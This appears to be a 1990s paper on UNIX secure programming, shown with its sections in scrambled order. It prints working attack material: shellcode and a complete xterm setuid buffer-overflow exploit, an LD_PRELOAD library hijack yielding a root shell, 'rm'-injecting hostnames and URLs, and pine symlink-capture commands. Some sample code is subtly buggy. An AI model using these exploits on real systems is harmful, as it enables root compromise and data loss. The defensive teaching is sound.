#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
...
FILE *fp = NULL;
int fd = -1;
char *nam = strdup("/tmp/fooXXXXXXXXXX");
...
/* return NULL if an error occurs; else return */
/* a file pointer to a safe file. */
/* It would be better to use file descriptors -- LOF */
if (nam == NULL)
  return (NULL);
if ((fd = mkstemp(nam)) == -1) {
  close(fd);
  free(nam);
  return (NULL);
}
if ((fp = fdopen(fd, "w+")) != NULL) {
  free(nam);
  return (fp);
}
close(fd);
unlink(nam);
free(nam);
return (NULL);
```

Figure 27. Safely create a temporary file[8].

If a file pointer is returned, the file is safe to use. If a NULL is returned, the file could not be created. Using `mkstemp()` should be limited to temporary files. When creating or appending to data files, a programmer should use the code in Appendix B.

This particular flaw was discovered while fixing another reported flaw in `pine`. While monitoring the files created in the `/tmp` filesystem, we noticed that the file name `pico.<number>` would appear and disappear. The number matched the process id of a `pine` process. At that point, we recognized that a predictable file name was being used to name a temporary file.

It was easy to verify that a link can be used to redirect the data sent to temporary files. Monitoring `/tmp` is another way of finding potential symlink or temporary file flaws. A script which generates a listing of `/tmp` every few seconds can run for an extended period of time. By reviewing the lists and looking for repeatedly used strings, a system

write to the spool directory, and no user is a member of the at group, the link to other files cannot be created and the ownership of the job file cannot be changed. Now the original assumption that the owner of the job file is the user executing commands is correct.

A system administrator should review the system for world-writable directories and files. As much as possible they should be restricted to a group or user. The only major exception would be the `/tmp` directory, but even that can lead to problems. When a programmer writes a program, it is best to avoid world-writable files or directories, because sometimes the umask setting of a user, or even root, may be something unexpected. Regular reviews should be conducted to find changes in system file permissions. If source code is available, a programmer or system administrator can `grep` for `creat()`, `mktmp()` calls, or `mkdir()` calls. Wherever these calls are found, there should either be an explicit setting of permissions that does not include world-write, or the permissions should be checked afterwards to ensure no changes are made.

6.3 Symbolic Links

Another simple exploit is to replace a temporary file used by a privileged program with a link to another file on the system. This type of attack is called a "symlink" exploit, based on the file type of the link, a symbolic link. A little over a year ago Mike Kienenberger and I reported a problem of this nature to the Bugtraq mailing list[12]. The mail program, `pine`, had a symlink flaw. `Pine` is a common text based mail handling program used on UNIX systems everywhere by all kinds of users, including root. The flaw occurred in versions of `pine` older than 3.95.

Whenever a user began editing a new email message in pine's alternate editor, a temporary file was created in `/tmp` with the name `/tmp/pico.<pid>` where `pid` is the process id of the `pine` process. If a cracker wanted to get a copy of the email a user is writing, all they had to do was wait for the user to start up `pine`, get the process id from a `ps` listing (for example 123) and then issue the commands: `touch /tmp/capture; ln -s /tmp/capture /tmp/pico.123; chmod 666 /tmp/capture` before the user started a new email message. When the user started `pine`'s alternate editor, `pine` would use the same file name as the symbolic link. Instead of catching this, the editor would write through the link to the "capture" file.

When the user finished editing the email message, he or she exited the editor and sent the message. The editor deleted the link `pico.<pid>`, but the capture file would remain. At that point the cracker had their own copy of the email message. This sequence could be repeated as often as the cracker liked. Repeating this exploit required moving the captured contents to another file before the next email message was begun.

One way to avoid the symlink exploit is listed in Appendix B. Specifically, after the call

programs, the programmer can be a little more relaxed. If proper precautions are taken, it is possible to use some of the user input to execute other commands. However lots of filtering should be done first, and the program should take steps to protect the user's data.

The best thing to do with user input that is needed as part of execution (besides not use it at all) is to scan it for metacharacters and then "escape" them. The basic metacharacters used by the shell are "`$ * [ ^ | ( ) ;` and `\"`. These characters have special meaning to the shell and can cause unpredictable results when a user supplies them to a process that passes them on to a shell environment.

In Figure 26 where input of a specific format is expected (such as fully qualified machine names, email addresses or IP addresses), the program should check that the supplied data follows that format. For network structures there is usually a request for comment (RFC) that specifically defines the correct format(s).

6.2 Regular Files

Files have many uses on a UNIX operating system. The system hardware is managed as a collection of files, files are used to control access to other files, even processes in memory are treated as a collection of files. To ensure that the system runs correctly, the programmer and system administrator must have a thorough understanding of how to securely access files and what information is represented by and in different types of files.

One error is to attribute too much information to a file. This type of improper assumption is just as serious a flaw as incorrectly using access calls to manipulate files. One system with the `at` program tried to avoid giving the `at` command setuid privileges by separating the user interface from the execution environment[5]. The `at` command would write user defined jobs to a world-writable spool directory and the `atrun` program would run the jobs as the user who owns the file. `Atrun` would have the setuid bit set. To figure out who to execute the job as, `atrun` would use the owner of the job file.

The assumption that the owner of the job file is the user to execute the job as is a bad assumption. There are files that users can write to which are not owned by them, for example other users' mailboxes. A cracker could mail a series of commands to root and then create a link in the world-writable `at` directory to root's mailbox. When `atrun` checked the owner of the link, it would get the owner of the target file, root. Most of the information in the file would generate errors, but the commands in the crackers mail message were executed as root.

The solution, in this case, is to isolate the necessary privileges to one group, called the "at" group. The `at` program is setgid and the spool directory is owned by the at group with group write privileges, but not world writable. When `at` is run, it generates a job file in the spool directory and that job file is owned by the user. Since only the at group can

```
sprintf(buf, "telnet %s", resid_url);
system(buf);
-------------------------------------------------------
Figure 25. Improper use of input from another user.
```

A cracker with web pages could put a URL of the form `telnet://somewhere;rm -rf *` in their web pages. The `rm` command would be executed by the XMosaic process unknown to the user viewing web pages. A user who tries to follow such a URL would delete all of their files in the current working directory of the XMosaic process. By the time the user discovers what happened, it is too late.

Another example of this problem is demonstrated in Figure 26 which is from a system notification program[16] which was used to notify root or administrators of possible attacks. In this case the input is coming from another machine or a domain name server. If the cracker controls the other machine and can substitute strings in response to queries, the user and the system cannot trust the information coming from the other machine.

```
sprintf(buf, "/usr/ucb/mail -s \"attack from %s\" root", host);
system(buf);
-------------------------------------------------------
Figure 26. Improper use of untrusted input from another machine.
```

If, for example, the attacker's machine is named `somehost"; rm *` the notification program would delete files in the current working directory of the running process.

One possible solution is to immediately change the working directory of the process when it starts up. This removes the immediate operation of the program from the same location as the bulk of the user's data. Of course a slightly more complicated command substitution can get around this directory change.

For root privileged programs, the `chroot()` system call can force a process to stay in a sub-branch of the filesystem. However, if a process maintains root privileges after the `chroot()` it is possible to escape the filesystem restriction if there are other setuid programs or links to other filesystems in the sub-branch of the filesystem. System daemons or network server applications are good candidates for using `chroot()` if all of the files they need are contained in one area of the filesystem. General user applications or user written programs do not have the privileges necessary to make use of `chroot()`.

The absolute safest way to deal with user input is to never execute data given to the program by the user. This is not always an ideal solution for the programmer. In the case of privileged programs, it is better for the programmer to work a little harder than to leave open a security flaw such as that shown in Figures 25 or 26. For non-privileged

6. Integrity Flaws

Integrity flaws betray a user's trust in the data generated on the system. The data may be made available to others at inopportune times, it might be destroyed, or the data cannot be guaranteed correct. On systems which handle financial records or scientific results, it is very important that the user be able to trust that data and results are protected and correct.

It is important that the system is known and trusted to function correctly. Files used by the operating system, system utilities, and daemons should not be accessible to users without reason and correct permissions. Device files, temporary system files and log files should all require permission to access them (especially for writing). System limits should be enforced and audit data should be maintained so that the system administrators can trace the exact course of system and program execution.

Some integrity flaws are based on confidentiality flaws. But the purpose of exploiting integrity flaws is different. Exploiting confidentiality flaws gains system level access and authority. Exploiting integrity flaws gains access to information and user files. Some of the information may be used to exploit confidentiality flaws, however the goal of exploiting integrity flaws is to affect the files themselves.

There are several exploits that take advantage of file operations to either destroy files on the system or gain access to them. There are several types of exploits that are the result of flaws in setuid programs or processes running as root which manipulate file ownership, file permissions and write or read operations. These flaws can be avoided by guarding these operations from within the program. Performing the proper checks can be tedious on every read or write, but they are necessary for securing file operations.

User applications (non-privileged programs) should also avoid these flaws so users can trust the software not to affect unrelated data. To the users, their own data is highest priority. If a cracker can affect user's data without the user's permissions, it is the same as the cracker taking control away from the system administrator(s). Many users do not understand or care about how the system does its job, but they do care when their own files are lost or damaged.

6.1 Executing Input

Like the confidentiality flaws, input is also a weakness exploited by crackers and pranksters. A problem in programs that handle interactive input is to use that input as part of `exec()` or `system()` calls. This creates an opening for crackers to insert traps into the program's input. For example, an early web browser, XMosaic, tried to simplify handling TELNET URLs[16]. Figure 25 shows the code XMosaic used to invoke the `telnet` application.

use private libraries containing secure code that may not be available on the system(s) running the binary. The programmer's security library can contain code such as the `snprintf()` procedure in Appendix C. If it is statically linked to the program, then even on systems with libraries that do not support `snprintf()`, the binary will still be able to use it and trust the procedure.

The buffer overrun flaw could also be exploited to cause a privileged program to operate incorrectly rather than generate a privileged shell. There are not many examples of this as it is very difficult to achieve. However an example of this kind of flaw is proposed by Matt Bishop[5].

In the program `login`, the order of the character arrays for the password and hash string could be used to gain unauthorized access to the system. Figure 24 shows the declaration statement for these arrays as well as the layout of the stack frame allocated when the procedure is called.

```
char name[80], passwd[80], hash[13];

top of stack
bottom of memory
<-----------------------------------------<
|name        passwd      hash   sfp  ret  |........
|[          ][          ][     ][   ][   ]|........
<-----------------------------------------<
                                           top of memory
                                           bottom of stack
-----------------------------------------------------
Figure 24.  Declaring arrays for login program[5].
```

If the cracker knows this is how `login` works and that the passwd buffer is susceptible to an overrun, they can type in a username that they know exists on the system, type in their own password string plus 80 - length(password) spaces and then the hash string of their password string. The password that the cracker provides would hash to the value written into the hash buffer and could be considered a valid password on the system. This is not a confirmed exploit on any system that I found, however, an equivalent situation can arise in a programmer's code if the buffer boundaries are not maintained.

The functions `fgets()`, `strncpy()`, and `strncat()` should be used as alternatives. `Fgets()`, `strncpy()` and `strncat()` take the number of bytes to write into the target buffer as an explicit argument. `Fgets()` reads n - 1 characters or until a newline character is encountered. `Strncat()` makes the last character of the target string a null, but `strncpy()` does not guarantee that the target string will be null terminated. This could be a problem if code that tries to read the string is looking for a null termination.

A nonstandard solution is to use `snprintf()`. `Snprintf()` is an alternative to `sprintf()` which limits the overall string length to a specified number of characters. Most systems do not have an `snprintf()` system call, but there are several variations available for security conscious programmers. Appendix C contains a version written by Theo de Raadt of the OpenBSD project. If the programmer is not using a system with `snprintf()`, including the code in Appendix C, or some other version provides extra security at the cost of portability.

The programmer can specify a number as the bounding limit for each call, but it is generally better practice to specify a defined value in the header file or at the top of the code and reuse that value for all related calls. This limits the acceptable strings that can be manipulated in the privileged program, but it is better to limit the input than to open a security flaw. "You cannot trust that you will not have overruns[16]."

Even better than using arbitrary limits is to use limits set by the operating system. Most UNIX systems have various defined settings for system limits and POSIX definitions. These are generally in the header file "/usr/include/limits.h" or "/usr/include/sys/limits.h". Using these limits will make the program more portable and allows the programmer to make full use of the available system resources.

5.6 Libraries

The buffer overflow condition demonstrated by the `xterm` program is not in the program code for `xterm`, but one of the libraries linked in `xterm`. The Xt library contains the overflow condition which is accessible from the `xterm` program plus others which link in the library. It is possible to write very good code, but still have security flaws added in by the system libraries. That is why it is very important to control all of the inputs to the program. By scanning the command line arguments for unauthorized characters (demonstrated in Figure 4), the `xterm` program could have protected itself from security flaws in the underlying libraries.

Another technique for using libraries with security conscious programs, besides explicitly setting `LD_PRELOAD`, is to compile the program statically instead of dynamically. By compiling statically, the code from the library is included in the binary instead of a stub. The resulting binary will be larger, but it will not be possible for a cracker to substitute a different version of the linked library. Also the programmer can

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET          0
#define BUFFER_SIZE             1491

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b"
"\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19"
"\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18"
"\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02"
"\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;

   if(argc&gt;1) ofs=atoi(argv[1]);
   if(argc&gt;2) bs=atoi(argv[2]);
   printf("Using offset of esp + %d (%x)\nBuffer size %d\n",
        ofs, get_esp()+ofs, bs);

   buff = malloc(4096);
   ptr = buff;
   memset(ptr, 0x90, bs-strlen(execshell));
   ptr += bs-strlen(execshell);
   for(i=0; i<strlen(execshell); i++) *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0; i<(8/4); i++) (addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
}
```

Figure 23. Exploiting the xterm program[3].

Since there is no construct in the C language to do automatic bounds checking, it is the programmer's responsibility to incorporate such code into the program. There are several ways to protect against buffer overflows. To start with, there are certain calls that should be avoided when performing string manipulations. The functions `gets()`, `strcpy()`, `strcat()`, and `sprintf()` are string handling functions which have no control over the amount of data placed in the target string[5]. (`sprintf()` does use the conversion formatting of all the `printf()` functions. However, if conversion values are unspecified, there is no bounds checking on the target string.) These functions will write past the end of an array or string without checking if the end of allocated space has been reached.

variables are stored on the stack as well.

A command which can be helpful in determining the environment variables used as well as search for possible buffers in a privileged program is the `strings` command. The output of strings contains every ASCII string in a binary file. Figure 22 displays some of the output of `strings` run against the `passwd` program, a common privileged program.

```
%s: Only one of -f and -s allowed.
%s: -%c: unknown option.
Usage: %s [-f] [-s] [user]
chfn
chsh
login shell
password
finger information
Changing %s for %s.
%s: %s: unknown user.
Permission denied.
Cannot change finger information or shell with NetInfo (yet).
Password unchanged.
%s:
password file busy - try again.
%s: fdopen failed?
Warning: lock failed
%s: permission denied.
%s:%s:%d:%d:%s:%s:%s
Warning: dbm_store failed
Warning: %s write error, %s not updated
-----------------------------------------------------
Figure 22.  % strings /bin/passwd
```

Everywhere that a "%s" appears in the output is a character buffer used by `printf()` or `scanf()` in the program. If a cracker can manipulate the contents of that buffer, it may be possible to overflow it and exploit it. A utility which feeds long strings into the program can be used to find unbounded buffers. If the privileged program segment faults on reading or using any of the long, dummy input, it is a candidate for a buffer overrun exploit. At that point the cracker starts iterating through values to place in the return address (ret) until one is found which begins executing the `shellcode` array.

An example of program with a buffer overrun is `xterm,` a program common to most UNIX systems running the X window system from Massachusetts Institute of Technology. The `xterm` program has setuid root privileges so that it can update certain files whenever it begins executing. However it also contains a buffer overrun in one of the command line arguments which can be exploited using the program shown in Figure 23. The cracker has to play with the offset value depending on the system version they are using.

The assembly code has been modified so that there will be no null characters in the corresponding hex version (the `shellcode` array in Figure 21c) and it has been called as a string argument to `__asm__()` so that the code will be placed in the data segment where some self modifying code can operate. Figure 21b shows the source code necessary to test the assembly code, Figure 21c shows the source code to execute the contents of the buffer, `shellcode`.

```
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}
```

Figure 21c Hex string used as input to exploit setuid program[2].

At this point, the cracker has enough information to exploit buffer overruns in privileged programs. One has to identify programs which can be exploited. The same steps that a cracker uses to find exploitable programs can be used by the system administrator to find holes in their system.

To start with, generate a list of setuid or setgid programs. A simple `find` command will work: `% find / -perm -6000 -exec ls -ld {} \;`. The result is a list of privileged programs accessible to all users on the system. Every system administrator should generate such a list whenever they get a new system or a new operating system version. Periodic reviews of the entire system can help to catch illicitly created privileged binaries that a cracker may be using as a backdoors to the system. Keeping track of attributes like size and sum of the privileged programs will also help to catch unauthorized modifications to privileged programs. Tools are available to help with this task. The archives listed in the Works Consulted section contain several of these tools (such as `tripwire`, md5 hashing, `cops`, and `tiger`) as well as descriptions of how to use them.

Once the privileged programs have been identified, all of the inputs need to be tested to see if it is possible to get input into an unsafe buffer. This can be done by a simple program that executes the privileged program with very large input strings. A programmer would only need to modify the `exec()` call a little bit to run through all of the possible inputs on the command line. A programmer also has to check all of the environment variables used by the program because the variables can contain the shell code as well. The cracker only has to search for a return address pointing to the environment variable the same way that an internal buffer is used. The environment

In this example, memory grows downwards (towards lower memory addresses) so the top of the stack has a a numerically lower address in memory than the data in the stack. When another frame is added to the stack, or more memory is allocated for dynamic buffers, that memory will have a lower address than the return address. Some architectures reverse these attributes. Creating an exploit in those cases would require different operations but still works the same.

In Figure 20, a string of 'A's overwrites the return address. However, it is also possible to place a prepared value in the return address and make use of it to execute prepared code. In particular, crackers try to start a shell process running as the privileged user. To do this, it is necessary to have a copy of the C code to execute a shell and to calculate what value to place in the return address.

```
#include <stdio.h>
void main() {
   char *name[2];
   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

Figure 21a. C code to exec() a shell.

Figure 21a shows the C code to execute a shell. Using this code, one generates the assembly code for an `exec()` call that will be executed by an exploited setuid program. Using the gdb debugger, one can look at the operations performed by `exec()` and develop the equivalent assembly code to execute the `/bin/sh` program. Figure 21b contains a version of the necessary assembly code from an Intel platform. To get the equivalent code on some other platform would require a compiler and debugger like `gcc` and `gdb` that are capable of displaying the program in assembly language.

```
void main() {
__asm__("
        jmp    0x2a                    # 3 bytes
        popl   %esi                    # 1 byte
        movl   %esi,0x8(%esi)          # 3 bytes
        movb   $0x0,0x7(%esi)          # 4 bytes
        movl   $0x0,0xc(%esi)          # 7 bytes
        movl   $0xb,%eax               # 5 bytes
        movl   %esi,%ebx               # 2 bytes
        leal   0x8(%esi),%ecx          # 3 bytes
        leal   0xc(%esi),%edx          # 3 bytes
        int    $0x80                   # 2 bytes
        movl   $0x1, %eax              # 5 bytes
        movl   $0x0, %ebx              # 5 bytes
        int    $0x80                   # 2 bytes
        call   -0x2f                   # 5 bytes
        .string \"/bin/sh\"            # 8 bytes ");
```

Figure 21b. Assembly code to exec() a shell[2].

the next executable instruction.

```
top of stack
bottom of memory
<----------------------------------------<
|sfp  ret  *str   |........
|[   ][   ][    ] |........
<----------------------------------------<
                                          top of memory
                                          bottom of stack
void function (char *str)  {
   printf("%s\n",str);
}
void main () {
  char string[256];
  int i;
  for (i = 0; i < 255; i++)
    string[i] = 'A';
  function(string);
}
```

Figure 19. A stack frame with one buffer[2].

Figure 20 shows a simple buffer overrun in which a larger character array is written into a smaller one. The result of the code in Figure 20 is a segmentation violation. The violation occurs because after the function is finished executing, the program tries to execute the instruction pointed to by the return address. However the address has been overwritten by the `strcpy()` call. So the address from which the kernel tries to load as the next instruction is 0x41414141. Since this is outside the address space that the process is allowed to access, a violation occurs.

```
top of stack
bottom of memory
<----------------------------------------<
|buffer          sfp  ret  *str   |........
|[              ][   ][   ][    ] |........
<----------------------------------------<
                                          top of memory
                                          bottom of stack
void function (char *str)  {
   char buffer[16];
   strcpy(buffer,str);
}
void main () {
  char large_string[256];
  int i;
  for ( i = 0; i < 255; i++)
    large_string[i] = 'A';
  function(large_string);
}
```

Figure 20. A simple buffer overrun[2].

version in Appendix D (remove all of the setup of an open pipe and just execute the command). Then the programmer can use their secure `system()` call wherever code similar to that shown in Figure 18 is needed.

Avoiding `execlp()`, `execvp()`, `system()`, and `popen()` means the programmer has more control over the possible interactions between the environment and the process. The security flaws possible by using the `IFS` or `PATH` environment variable demonstrate the importance of controlling the sources of input. A privileged program should never execute any data given to it by a user. It is difficult at best to predict all of the possible inputs that a cracker will try to feed a program to break it. The worst would be to blindly accept that the input is always from a trusted user. In Section 6 there are some examples of how non-privileged programs get into trouble by accepting and executing interactive input. Even when using secure exec functions, if the program allows the user to affect the commands that it executes, it becomes possible for a cracker to alter the intended command.

5.5 Buffer Overruns

Currently the most common security flaw used to compromise system confidentiality is the buffer overrun. These flaws allow the cracker to subvert the action of processes with root authority to execute code written by the cracker to gain that authority. Simple source code reviews would catch the majority of these flaws. However, the code that creates overflow opportunities is often a hack to avoid complicated programming. Programmers either do not know how to avoid the flaw, or they are pressured by other concerns to use a simpler solution. These flaws have existed for years. Interestingly, the best reference for this particular problem was written for Phrack magazine (and "underground" electronic publication) by a person known as Aleph One[2] (a well known hacker and computer security enthusiast). Most of the following explanation and analysis comes from that article.

A buffer is a contiguous space in memory for holding instances of some data type. A buffer overrun is the result of mismanaging arrays and pointers in C. Most of these buffers are character arrays. The C language does not place boundaries on arrays when they are used. So a program can unknowingly write past the end of the buffer and overwrite other data in memory. There are two types of buffers; static buffers which are part of the data segment, and dynamic buffers which are used for variables local to subroutines. Dynamic buffers are allocated from the stack at run time. Because the dynamic buffers are part of the stack, they are in the same area of memory as data used by the kernel on operating systems/architectures that do not maintain separate user and kernel modes.

Figure 19 shows how memory is laid out in a stack frame with one buffer. The code which generates this layout is included. In this figure, "sfp" is the stack frame pointer, and "ret" is the return address. When the function finishes executing, the return address is placed in the instruction pointer as the place in memory from which to load

been done without root privileges and it would not have mattered that the `more` program uses a shell escape.

When executing external programs one should avoid invoking a shell. The new shell is executed with the same privileges as the parent process and it inherits the environment of the parent process. Problems in the environment may not affect the privileged process, but they may affect the child processes because a shell makes use of the environment variables. It is better to use `exec{l, le, v}()` with the `fork()` call to execute other programs[16]. Figure 18 contains an example of executing the `date` command without invoking a new shell.

```
#include <unistd.h>
#include <errno.h>
...
char *newargv[] = {};
char *newenvp[] = {};
...
if (0 > (pid = fork())) {
  fprintf(stderr, "%s: fork error %d\n", argv[0], errno);
  exit(-1);
}
else if (0 == pid)
  if (0 > execve("/bin/date", newargv, newenvp)) {
    fprintf(stderr, "%s: exec error %d\n", argv[0], errno);
    exit(-1);
  }
```

Figure 18. Safely calling other programs.

The arrays `newargv[]` and `newenvp[]` can be left empty or set explicitly to safe values. By invoking an `exec` call this way, the new process is limited to the code in the `date` command. The `date` command is easier to control than a new invocation of the shell and is therefore more secure.

The `system()` function hides most of the work done by the code shown in Figure 18, but a programmer should avoid using `system()`. Internally, `system()` uses an `execlp("/bin/sh", "sh", "-c", commandline, 0)` to execute the supplied command. This call invokes a new shell and uses the `PATH` variable. The command run by `system()` is exposed to flaws in the environment of the parent process and in the source of the argument `commandline`. Removing the extra layer of abstraction by not using `system()` improves the security of the new process.

The `popen()` call also cannot be trusted without reviewing the source code. On some systems, `popen()` uses `execlp()` like `system()`. Appendix D is the source code for a secure `popen()` call which the programmer can add to their own security library or include in their source code. The version of `popen()` in Appendix D guarantees that an extra shell is not invoked. If the programmer also wants a secure version of the `system()` call, only a few modifications would need to be made to the `popen()`

5.3 Handling Sensitive Data

Programs that access the system's password file, or have their own, should never generate core files, or they should overwrite the sensitive information in memory as soon as it is no longer needed. This process of cleaning means that no information is available in core files when they are generated and that information is not readily available to other processes through the proc filesystem or `/dev/mem`. Figure 17 shows an example of getting a password from a user, using it and then cleaning the buffer.

```
#include <stdlib.h>
#include <sys/types.h>
#include <crypt.h>
#include <pwd.h>
#include <errno.h>
...
char user_passwd[9], user_hash[13];
char salt[2];
struct passwd *entry;
...
/* getpass will return a null terminated string of up to */
/* 8 chars plus the terminator */
user_passwd = getpass("Password: ");
if (NULL == (entry = getpwuid(ruid)) {
  perror("uid does not have a password");
  exit(1);
}
salt[0] = entry.pw_passwd[1]; salt[0] = entry.pw_passwd[1];
/* crypt always returns a 13 character string */
user_hash = crypt(user_passwd, salt);
/* overwrite the user entered password */
for(i = 0; i <= 8; i++) user_passwd[i] = '\n';
```

Figure 17. Getting a password from a user.

If a program using the code in Figure 17 did not clear the `user_passwd` array after reading the user's password and the program terminates abnormally, generating a core file, the clear-text password entered by the user would be a readable string in the core file. It is up to the programmer to make sure this never happens by truncating core files as well as capturing signals and exiting gracefully .

5.4 Executing Other Programs

Years ago, a low level administration program used `more` to view help files[16]. The program had setuid root privileges so that the administrators could execute it from their own accounts and still be able to do root tasks. However any user could run the program, and then ask for help. Once the `more` program was running, the user could do a shell escape and do anything as root. This flaw was the result of running the entire administrator program with root privileges. Figure 2 demonstrated how to give up unneeded privileges and Figure 3 demonstrated how to regain them when needed. By employing this code in the administrator program, invoking the help function could have

access to more accounts or system accounts.

While debugging a program, core files can be a good aid in diagnosing problems. However, once a program is running in a "production" environment it should not generate core files. Modern UNIX systems can be configured to prohibit the creation of core files or to generate core files of length zero. However this means that core files cannot be generated during development work because the configuration change is made to the kernel and the kernel enforces the limit on all processes. Individual programs can also also set the core file length (and other limits) using the `setrlimit()` system call.

Figure 16 shows how to set the maximum size of a generated core file. The declaration of the soft and hard limit as well as the `setrlimit()` call are bracketed by define statements that allow the programmer to include or not include the limit depending on whether `PRODUCTION` is defined at compile time or not.

```
#include <sys/resource.h>
#include <errno.h>
...
#ifdef PRODUCTION
struct rlimit limit = { 0, 0};
#endif
...
#ifdef PRODUCTION
if (0 != setrlimit(RLIMIT_CORE, limit)) {
  perror("cannot truncate core files");
  exit(1);
#endif
```

Figure 16. Setting the core size limit for a production compile.

Before the flaw in `imapd` was discovered, the same type of flaw was discovered in versions of `ftpd`, the file transfer protocol daemon. Exploiting `imapd` requires having a real account on the system being attacked. The flaw in `ftpd` was much more serious because it was exploitable through the anonymous ftp account. Many systems use the same password file for the ftp setup as their system file. This means that crackers could capture password files on systems where they did not have a real user account.

Most systems do a regular scan of all filesystems to clean up old files. Core files that have not been accessed in a week are prime candidates for this clean up, and most systems ship with an entry in the root crontab file (`cron` is a batch execution system) to delete old core files. However, system administrators have no easy tools to search for programs that generate core files containing sensitive information. Instead a system administrator needs to know how the programs on their system operate and which programs would access sensitive information.

have a wrapper, whether or not one knows or thinks it has a security flaw. Automatically applying a wrapper to every privileged program on the system can be a lot of work from the system administrator's perspective. However the time required to recover from a successful attack is greater. It is up to the system administrator to maximize the trustworthiness of the system. Because it is not always possible to review the source code, the next step is to protect the privileged programs explicitly. The wrapper in Appendix A explicitly sets the PATH, IFS and LD_PRELOAD variables. The user's settings are ignored completely except to scan them for improper characters. If improper characters are found or the length of the string in the variable is too long, the wrapper will still exit with an error. Otherwise the environment of the wrapped binary will be set to strings chosen by the system administrator who applies the wrapper.

5.2 Interactive Input

In general, a programmer should treat all data that the program does not generate as if it is potentially harmful[16]. Data from outside sources, such as users or files written by other programs, should never be part of an exec function. When input from a user is used to execute other programs, it is possible for a cracker to fashion input that causes the program to do something unintended. Section six discusses the problems that can be intentionally embedded into user input. However, it is also possible for garbage input to cause a program to react insecurely. Exploits that send faked or garbage input to a program are called "out of band" attacks. The cracker, in this case, is searching for flaws in the program or trying to crash the program.

When a program crashes for some reason, UNIX tries to help the user or programmer determine why the program crashed by generating core files. The core file is an image of the process in memory and all of the data that is contained in the process's frame. A lot of sensitive information can be extracted from core files, such as clear-text passwords.

At the end of 1997, a L0PHT advisory[1] about the `imapd` daemon in the IMAP 4.1 toolkit from the University of Washington was released which showed how a user could capture the password file of a system running the `imapd` daemon. The IMAP protocol is mainly used for email and the `imapd` daemon is run by `inetd` to handle any incoming IMAP requests. If a cracker has an account, or access to an account, on a system that has the `imapd` daemon running, they can force that process to abort and generate a core file.

Then the cracker can connect to the IMAP server and download the core file as if it were an email mailbox. The core file is decoded, based on RFC-822, to reveal password entries, including the (un)encrypted strings. Normally the password file is readable by everyone, however on systems which use a shadow password file to block access to the encrypted strings, the core file generated by `imapd` contains the contents of the shadow file as well. Once the shadow file is captured, it is possible for the cracker to run the contents through a password cracking program and possibly gain

a binary and compile the code from Figure15b into a library. Then set the LD_PRELOAD variable to ".:${LD_PRELOAD}" as shown in Figure 14 and execute the program in Figure 15a. The fprintf() statements will show whether or not LD_PRELOAD can be used to take advantage of dynamically linked privileged programs.

```
#include <stdio.h>

int main() {
  FILE *fd;
  setuid(geteuid());
  fd=fopen("/dev/null","r");
  if(fd) fprintf(stdout, "Shared lib not loaded.\n");
  exit(0);
}
```

Figure 15a. Test program for LD_PRELOAD[11].

If the program in Figure 15a is in a file named test.c, and the GNU cc compiler is available, the program should be compiled using the command: `% gcc -o test test.c`.

```
#include <stdio.h>
#include <errno.h>

FILE *fopen(const char *filename, const char *mode) {
  printf("shared library loaded. uid: %i euid:
                                %i\n",getuid(),geteuid());

/* Lots of evil stuff in here. Use your imagination. */

  errno=-EINVAL;
  return NULL;
}
```

Figure 15b. Test library for LD_PRELOAD[11].

If the code in Figure 15b is in a file named libtest.c, it should be compiled using the command: `% gcc -shared -o libtest.so libtest.c`. For other compilers, there are different options for compiling code into shared object code. See the cc man page for specifics.

Some flavors of UNIX do not allow setuid programs to be dynamically linked. Only statically linked programs can be setuid or setgid. However, even if the privileged program does not use LD_PRELOAD, any child processes it spawns may. A child processes inherits the LD_PRELOAD variable and can use it to resolve library calls. So even if a privileged program does not honor the LD_PRELOAD variable, it is important to consider it as part of the environment.

Many people recommend that every setuid or setgid program on the system should

setting. In the wrapper program (Appendix A), the environment is developed variable by variable in a separate array and then passed as an argument to the final `execve()` call. Using `execve()` rather than `exec()` gives the programmer more control over the inherited environment. A programmer can blank out variables or reset all of them and the spawned processes can trust the environment passed to them. Both PATH and IFS are set to default, trustable values.

5.1.3 LD_PRELOAD

The `LD_PRELOAD` variable (available on linux and Solaris at least) is a search path for libraries like `PATH` is a search path for binaries. Whenever a program with a dynamically linked library needs code at run-time for a library call, it uses `LD_PRELOAD` to search for a library with the object code. However, like `PATH`, it is possible for a cracker to set the variable to search their own directories first and have object code prepared with their own instructions. When the cracker runs a privileged, dynamically linked program, it will look in their library for object code. If the process finds code for a call that it makes, it will execute that code with all of its special privileges.

An example of this is (was) the `/bin/login` program which dynamically loads `fgets()` to read a user's login name[5]. A cracker could build a library in their home directory with the code in Figure 14 and then reset the `LD_PRELOAD` variable (also shown in Figure 14).

```
fgets(char *buf, int n, FILE *fp) {
  execl("/bin/sh", "-sh", 0);
}

LD_PRELOAD=.:${LD_PRELOAD}
```

Figure 14. Replacement code for fgets() in dynamic libraries[5].

Compiling the new `fgets()` code as a library, is almost like compiling a new binary program: `% gcc -shared -o libhack.so hacklib.c.` Executing `login` at this point results in a shell with all of the privileges of root being handed to the cracker.

